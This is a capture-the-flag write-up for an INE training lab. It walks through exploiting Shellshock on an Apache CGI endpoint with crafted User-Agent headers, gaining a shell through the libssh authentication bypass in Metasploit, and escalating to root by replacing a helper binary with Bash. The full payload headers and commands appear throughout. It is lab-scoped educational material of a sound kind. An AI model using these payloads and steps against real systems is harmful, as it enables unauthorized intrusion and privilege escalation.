Overview
This was an INE CTF from Host & Network Penetration Testing: System Host Based Attacks CTF 2.
The lab had two targets:
| Target | Main issue | Goal |
|---|---|---|
target1.ine.local |
Shellshock on a CGI file | Find two flags on the web server |
target2.ine.local |
libssh authentication bypass | Get user access, then root |
The attack path was:
Target 1: Apache → CGI file → Shellshock → command execution with Burp → two flags
Target 2: SSH → libssh authentication bypass → user shell → weak file call → root shell
Target 1
Flag 1: Check the root directory for a file that might hold the key to the first flag on target1.ine.local.
I started with a normal Nmap scan against the first target.
Nmap scan:
Nmap scan: nmap -sV -T4 target1.ine.local
The scan showed one open port.
| Port | Service | Version |
|---|---|---|
80/tcp |
HTTP | Apache httpd 2.4.6 |
After opening the website, I found a Modern Art Gallery page. The page was using this CGI endpoint:
CGI endpoint: /browser.cgi
Since the target had Apache and a CGI file, I checked for Shellshock using Nmap.
Shellshock scan:
Shellshock scan: nmap -sV --script=http-shellshock --script-args "http-shellshock.uri=/browser.cgi" target1.ine.local
The result showed that the CGI file was vulnerable to Shellshock.
Then I sent the request to Burp Repeater and changed the User-Agent header to run commands.
First, I tested command execution with id.
Command header: User-Agent: () { :; }; echo; /bin/bash -c 'id'
The response showed that commands were running as the daemon user.
Command output: uid=1(daemon) gid=1(daemon) groups=1(daemon)
After confirming command execution, I listed the root directory.
Command header: User-Agent: () { :; }; echo; /bin/bash -c 'ls /'
I found the first flag file in the root directory.
To read it, I used:
Read flag file: User-Agent: () { :; }; echo; /bin/bash -c 'cat /flag.txt'
The first flag was retrieved from:
Flag path: /flag.txt
Flag 2: In the server root directory, there might be something hidden. Explore /opt/apache/htdocs carefully to find the next flag on target1.ine.local.
For the second flag, I checked the Apache web root directory.
List web root: User-Agent: () { :; }; echo; /bin/bash -c 'ls -la /opt/apache/htdocs'
The directory listing showed a hidden flag file.
Hidden file: .flag.txt
To read it, I used:
Read hidden flag: User-Agent: () { :; }; echo; /bin/bash -c 'cat /opt/apache/htdocs/.flag.txt'
The second flag was retrieved from:
Flag path: /opt/apache/htdocs/.flag.txt
This completed the first target.
Target 2
Flag 3: Investigate the user’s home directory and consider using libssh auth bypass to uncover the flag on target2.ine.local.
For the second target, I started with Nmap again.
Nmap scan:
Nmap scan: nmap -sV -T4 target2.ine.local
The scan showed SSH running on port 22.
| Port | Service | Version |
|---|---|---|
22/tcp |
SSH | libssh 0.8.3 |
I searched for the version with SearchSploit.
SearchSploit searches: searchsploit libssh 0.8.3 and searchsploit libssh
The results showed possible libssh authentication bypass exploits, so I used Metasploit.
I used this Metasploit module:
Module used: auxiliary/scanner/ssh/libssh_auth_bypass
Then I set the target and checked the options.
Set target: set RHOSTS 192.55.123.4
Enable PTY: set SPAWN_PTY true
Check options: show options
After running the module, Metasploit opened a shell session.
Run module: run
List sessions: sessions
Open session: sessions 4
Inside the shell, I confirmed the user.
User check: id
The shell was running as:
Current user: uid=1000(user) gid=1000(user) groups=1000(user)
Then I checked the user home directory.
List user home: ls /home/user
The first flag on this target was inside:
Flag path: /home/user/flag.txt
To read it, I used:
Read flag: cat /home/user/flag.txt
Flag 4: The most restricted areas often hold the most valuable secrets. Look into the /root directory to find the hidden flag on target2.ine.local.
For privilege escalation, I checked the files in the user home directory.
There were two interesting files:
Interesting files: greetings and welcome
I used strings on the welcome binary.
Inspect binary strings: strings welcome
The output showed that welcome was calling greetings.
This meant I could replace greetings with something else. I removed the original file, copied Bash as greetings, then ran welcome.
Remove original file: rm greetings
Replace it with Bash: cp /bin/bash greetings
Run the binary: ./welcome
After running welcome, I got a root shell.
User check: id
The output showed:
Current user: uid=0(root) gid=1000(user) groups=1000(user)
Then I checked the root directory.
List root directory: ls /root
The final flag was inside:
Flag path: /root/flag.txt
To read it, I used:
Read flag: cat /root/flag.txt
This completed the second target and the full CTF.
What I Learned
This CTF was useful because it had two different attack paths.
The first target was close to the Shellshock lab I did before. The important part was finding the CGI file and then using the vulnerable header to run commands through Burp.
The second target was more focused on service exploitation and privilege escalation. The libssh version gave the first shell, but the root access came from checking the user files carefully. The welcome binary calling greetings was the key part.
The main lesson from this lab is to always look at what the target gives you after the first access. A simple file in a home directory can sometimes explain the whole privilege escalation path.